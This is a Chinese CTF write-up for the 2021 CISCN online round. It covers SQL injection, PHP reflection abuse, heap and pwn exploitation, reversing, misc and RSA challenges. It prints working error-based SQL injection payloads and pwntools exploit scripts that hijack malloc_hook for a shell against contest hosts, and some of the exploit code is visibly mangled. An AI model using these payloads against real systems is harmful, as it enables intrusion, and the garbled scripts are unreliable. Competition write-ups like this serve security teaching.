红色代码战队 第十四届全国大学生信息安全竞赛-线上赛Writeup

白帽子社区

共 11136字,需浏览 23分钟

 · 2021-05-23

作者:BL、Evan、PYozo、末初  编辑:白帽子社区运营团队




    "白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)

"    


    白帽子社区渗透团队、CTF战队(红色代码战队)招人中,有兴趣加入请添加微信:



eazy_sql

打开页面得到一个登入框

用户名处加单引号 sql 报错

information_schema 被拦截

sys 被拦截,这样通过这两个方式去获取库 表列的方式行不通了

这里使用报错注入得到当前数据库名
security
通过暴力的方式得到 flag 表,也同时知道了有 id 列
admin')and (select id from flag)--+

原理就是在使用别名的时候,表中不能出现相同的字段名,否则就会报错,从而爆出字段名,   在使用 using 函数依次爆出其他字段名,这里通过两次得到了 id 跟 no 这个列

admin')and(select*from(select*fromflagasajoinflagasbusing(id,no))asc)--+

查询得到第 3个列 03165c24-8697-4a1f-b41f-af4d00def40c,这里因为列名开头是数字假设如果还有列应该要加``

现在得到了flag的3个列现在使用报错注入去获取数据,这里因为updatexml只能获取32 位需要使用函数去获取后半部分,这里得到前32位

CISCN{CvpwK-a5sVT-0qwD2-Ys9hF-J admin')and updatexml(1,concat(0x1,((select03165c24-8697-4a1f-b41f-af4d00def40c` fromflag))),1)--+


这里使用 mid 取出后面的部分

admin')and updatexml(1,concat(0x1,mid((select03165c24-8697-4a1f-b41f-af4d00def40c` fromflag),10,32)),1)--+


CISCN{CvpwK-a5sVT-0qwD2-Ys9hF-JwK-a5sVT-0qwD2-Ys9hF-JchKZ-}


拼接得到最终

flag :CISCN{CvpwK-a5sVT-0qwD2-Ys9hF-JchKZ-}

glass

流程分析

直接打开JEB看一看,查看MainActivity函数,发现checkFlag没有 

去so层看一看,里面有个checkFlag函数,分析一下这个函数

前两个函数是标准的RC4加密函数,最后一个是xor函数

第三个函数无非就是每三个位相互异或

exp

#include<iostream>#include<Windows.h>using namespace std;UINT sz=0;unsigned char ida_chars[] ={0xA3, 0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84,0x65, 0xC2,0xAD, 0xAD, 0x9E, 0x96, 0x05, 0x02, 0x1F, 0x8E,0x36, 0x4F,0xE1, 0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D,0x42, 0xC7,0x6E, 0x3F, 0xB0, 0xD3, 0xCC, 0x78, 0xF9, 0x98,0x3F};unsigned char S[256];unsigned char T[256];string key = "12345678";PVOID ReadFileFunc(){HANDLE hFile = CreateFile(L"F:\\reserve\\virus_such\\恶意代码分析实战\\RCData101.bin", GENERIC_READ | GENERIC_WRITE,FILE_SHARE_WRITE |FILE_SHARE_READ, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,0);sz = GetFileSize(hFile, 0);PVOID buf = malloc(sz);DWORD rsize = 0;ReadFile(hFile, buf, sz, &rsize, 0);CloseHandle(hFile);return buf;}void decrypt2(){for(int i=0;i<39;i+=8)for (int j = 0; j < 8; j++){if (i + j == 39)break;ida_chars[i + j] = ida_chars[i + j] ^ key[j];}for (int i = 0; i < 39; i += 3){ida_chars[i + 1] = ida_chars[i + 1] ^ida_chars[i];ida_chars[i + 2] = ida_chars[i + 2] ^ida_chars[i + 1];ida_chars[i] = ida_chars[i] ^ ida_chars[i +2];}}void R1(){for (int i = 0; i != 256; i++){S[i] = i;T[i] = key[i % 8];}int v9 = 0;for (int i = 0; i != 256; i++){int tmp = S[i];v9 = (tmp + v9 + T[i]) % 256;S[i] = S[v9];S[v9] = tmp;}}void decrypt1(){R1();int count = 0x27;int i = 0;int v4 = 0;int v3 = 0;int v5=0;int index=0;while (count){--count;v4 = (v4 + 1) % 256;v5 = S[v4];v3 = (v3 + S[v4]) % 256;S[v4] = S[v3];S[v3] = v5;ida_chars[index++] ^= S[(v5 + S[v4])%256];}for (int i = 0; i < 0x27; i++)cout << (char)ida_chars[i];}VOID WriteFileFunc(PVOID buf){HANDLE hFile = CreateFile(L"F:\\reserve\\virus_such\\恶意代码分析实战\\decrypt.bin", GENERIC_READ | GENERIC_WRITE,FILE_SHARE_WRITE |FILE_SHARE_READ, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,0);DWORD rsize;WriteFile(hFile, buf, sz, &rsize, 0);}int main(){/*PVOID p = ReadFileFunc();decrypt((PCHAR)p);WriteFileFunc(p);*///unsigned key=decrypt1();//cout << key;decrypt2();decrypt1();

flag为CISCN{6654d84617f627c88846c172e0f4d46c}

eazy_source

本题知识点

PHP 反射,ReflectionMethod 构造 User 类中的函数方法,再通过getDocComment 获取函数的注释

题目打开只有一个500 报错

你知道开发一个 php 程序很重要的东西是什么吗( 备份) 扫描源代码文件, 发现 index.php.swo 备份文件:

http://124.70.27.139:26380/.index.php.swo

$rc=$_GET["rc"];  $rb=$_GET["rb"];  $ra=$_GET["ra"];  $rd=$_GET["rd"];$method= new $rc($ra, $rb); var_dump($method->$rd());
分析题目,猜测 flag 是藏在类的注释中,我们能够实例化任意类,并调用类方法,那么就可以利用 PHP 内置类中的ReflectionMethod 来读取 User 类里面各个函数的注释,本地测试如下:

构造成题目中的 http 参数则是:
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
因为不知道是在哪个函数的注释中,所以逐个函数暴破,暴破 rb  的值   a-z,可以发现flag在q的注释中
http://124.70.27.139:26380/?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

得到
flag CISCN{io0P0-UDS1r-Unzhh-051Rs-2auEk-}

lonelyworf

漏洞分析

libc本部是libc-2.27 1.3是有key的保护的,但有uaf漏洞

这样的话,我们只要修改key,就可以接着free,来double free tache

解题思路

通过uaf和double free先leak heap的地址,再到heap中 fakechunk一个unsorted bin的堆,再接着

double free tache,修改其fd指针,让其指向fake chunk,再释放这个unsortedbin chunk,然后leak

libc后,直接double free tache,劫持 malloc_hook,来getshell

exp

from pwn import *context.arch = 'amd64'context.log_level='debug'p=process('./pwn')libc=ELF('./libc-2.27.so')#p=remote(124.70.48.138',23622)def add(idx,size):p.recvuntil('Your choice: ')p.sendline('1')p.recvuntil('Index: ')p.sendline(str(idx))p.recvuntil('Size: ')p.sendline(str(size))def edit(idx,content):p.recvuntil('Your choice: ')p.sendline('2')p.recvuntil('Index: ')p.sendline(str(idx))p.recvuntil('Content: ')p.sendline(content)p.interactive()

得到flag 

CISCN{bD3W5-OYKJ5-A4LPk-yh84S-n2BQb-}

pwny
查看机制:
利用脚本跑
from pwnimport * context.log_level = Truep = remote(" 124.70.48.138", 23675)def menu(choice):    io.recvuntil("choice:    ") io.sendline(str(choice)) menu(2) io.recvuntil(        "Index:  ") io.sendline("256") menu(2) io.recvuntil("Index:  ") io    .sendline("256") menu(1) io.recvuntil("Index:  ")io.send(b "\xe7\xff\xff\xff\xff\xff\xff\xff") io.recvuntil("Result:  ")libc_base = int(io.recvline()[: -1], 16) - 0x80aa0 log.info(        "libc_base:  " + hex(libc_base)) environ_addr = 0x3ee098 +    libc_baseexit_hook = libc_base + 0x619f68 gadget_addr = libc_base + 0x10a41clog.info("environ_addr:  " + hex(environ_addr)) menu(1)io.recvuntil("Index:  ") io.send(b "\xf5\xff\xff\xff\xff\xff\xff\xff") io    .recvuntil("Result:    ")base_addr = int(io.recvline()[: -1], 16) - 0x202008 log.info(    "base_addr:  " + hex(base_addr))menu(1) io.recvuntil("Index:  ")io.send(p64((environ_addr - base_addr - 0x202060) //  8)) io.recvuntil("Result:  ")            stack_addr = int(io.recvline()[: -1], 16) - (                0x7fffffffdea8 - 0 x7fffffffdd88) log.info(                "stack_addr:  " + hex(stack_addr)) menu(2) io.recvuntil(                "Index:  ") io.sendline(str((stack_addr - (base_addr +                        0x202060)) //  8))                    io.send(p64(gadget_addr)) io.interactive()
即可得到
flag  
CISCN{XIli4-6MXJq-gSgfL-w4rZb-2RMJT-}

场景实操二阶卷 Reverse
Baby_bc

根据链接:

https://www.jianshu.com/p/42cb026ce541

 

使用clang命令编译baby.bc文件:clang baby.bc -o baby

 

得到文件,放入ida中找到main函数,查看伪c代码,发现了docheck函数双击跳转。

 

然后编写脚本:

 

EXP:Python

from z3 import * from hashlib import md5 r = [[0x00, 0x00, 0x00, 0x01],[0x01, 0x00,0x00, 0x00], [0x02, 0x00, 0x00, 0x01], [0x00, 0x00, 0x00, 0x00], [0x01, 0x00,0x01, 0x00]] c = [[0x00, 0x00, 0x02, 0x00,0x02], [0x00,0x00, 0x00, 0x00, 0x00], [0x00, 0x00, 0x00, 0x01, 0x00], [0x00, 0x01, 0x00,0x00, 0x01]] s = Solver() m = [[Int("x%d%d"%(i, j)) for iin range(5)] for j in range(5)] print(m)  s.add(m[2][2] == 4) s.add(m[3][3] == 3)  for i in range(5):   forj in range(5):    s.add(m[i][j] >= 1)    s.add(m[i][j] <= 5)   for i in range(5):   forj in range(5):    for k in range(j):     s.add(m[i][j] != m[i][k])   for j in range(5):   fori in range(5):   for k in range(i):       s.add(m[i][j]!= m[k][j]) for i in range(5):   forj in range(4):    if r[i][j] == 1:      s.add(m[i][j] > m[i][j+1])    elif r[i][j] == 2:      s.add(m[i][j] < m[i][j+1])   for i in range(4):   forj in range(5):    if c[i][j] == 2:      s.add(m[i][j] > m[i+1][j])    elif c[i][j] == 1:      s.add(m[i][j] < m[i+1][j]) answer = s.check() print(answer)  if answer == sat:  print(s.model())   m =s.model()   F =[]   fori in m:    for j in i:      F.append(m[j].as_long())    fori in range(len(F)):     F[i] += 0x30  F[12] = 0x30  F[18] = 0x30   F =bytes(F)  print(F)  print(md5(F).hexdigest())

 即可得出flag


场景实操二阶卷 Misc

隔空传话

 

利用在线网站

 

http://www.sendsms.cn/pdu/

 

手动解出短信加密,拿到前三条提示

 

flag第一部分为手机号前八位

 

第二部分为后面发送的数据

 

用python分割数据包,利用Excl表格进行排序后发现第一条发送的数据有png头,拼接所有数据改宽以后发现一张图片

利用手机号前八位和图片内容拼接得到flag

 

**GIF**

 

下载附件发现是gif图

利用脚本分解图片
import osfrom PIL import Image def analyseImage(path):   im = Image.open(path)   results = {       'size': im.size,       'mode': 'full',    }   try:       while True:           if im.tile:                tile = im.tile[0]                update_region = tile[1]                update_region_dimensions =update_region[2:]                if update_region_dimensions !=im.size:                    results['mode'] = 'partial'                    break           im.seek(im.tell() + 1)   except EOFError:       pass   return results def processImage(path):   mode = analyseImage(path)['mode']    im = Image.open(path)     i= 0    p= im.getpalette()   last_frame = im.convert('RGBA')    try:       while True:           print("saving %s (%s) frame %d, %s %s" % (path, mode, i,im.size, im.tile))            if not im.getpalette():                im.putpalette(p)            new_frame = Image.new('RGBA', im.size)           if mode == 'partial':                new_frame.paste(last_frame)            new_frame.paste(im, (0, 0), im.convert('RGBA'))           new_frame.save('res/%d.png' % i, 'PNG')            i += 1           last_frame = new_frame           im.seek(im.tell() + 1)   except EOFError:       pass  def main():   processImage('res.gif')  if __name__ == "__main__":    main()

得到382张图

from PIL import Imagenp = Image.new('L', (400, 400))for i in range(382):    p= Image.open(str(i) + '.png').convert("RGB")   A, B = p.size   for y in range(B):       for x in range(A):           if p.getpixel((x, y)) == (233, 233, 233):                np.putpixel((y, x), 255)    np.save('res/' + str(i) + '.png')

将图片保存在一个文件夹里利用脚本可看见斗蓬上有几个小点,联想到图片,这不是R.G.B嘛

获取小点的RGB值为(233,233,233),再按照顺序得到出现的字符解码为小写就为flag


场景实操冲刺卷 RSA
已知 p 高位攻击参考链接:

参考链接:

https://weichujian.github.io/2020/05/27/rsa%E5%B7%B2%E7%9F%A5%E9%AB%98%E4%BD%8D%E6%94%BB%E5%87%BB1/

https://github.com/comydream/CTF-RSA/blob/608ec29dc363ca534522c1a899cc86b0ffb1ec95/%E5%8A%A0%E5%AF%86%E6%8C%87%E6%95%B0/copperSmith%E9%83%A8%E5%88%86%E4%BF%A1%E6%81%AF%E6%94%BB%E5%87%BB/rsa2.sage

脚本如下:

p3 = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147 pbits = 512kbits = pbits - p3.nbits()print p3.nbits()p3 = p3 << kbits PR.<x> = PolynomialRing(Zmod(n))f = x + p3x0 = f.small_roots(X=2^kbits, beta=0.4)[0]print "x: %s" %hex(int(x0)) p = p3+x0print "p: ", hex(int(p))assert n % p == 0q = n/int(p) print "q: ", hex(int(q)

后面就是常规的RSA解密,得到:

b’\nO wild West Wind, thou breath of Autumn's being,\nThou, from whose unseen presence the leaves dead\nAre driven, like ghosts from an enchanter fleeing,\nYellow, and black, and pale, and hectic red,\nPestilence-stricken multitudes: O thou,\nWho chariotest to their dark wintry bed\n’

Md5加密得到flag。

flag:CISCN{3943e8843a19149497956901e5d98639}

往期精彩文章




第四届红帽杯网络安全大赛-线上赛Writeup
恶意样本学习——勒索病毒(一)
CVE-2020-16846 CVE-2020-25592 分析
MISC题解




技术支持:白帽子社区团队
— 扫码关注我们 



浏览 44
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报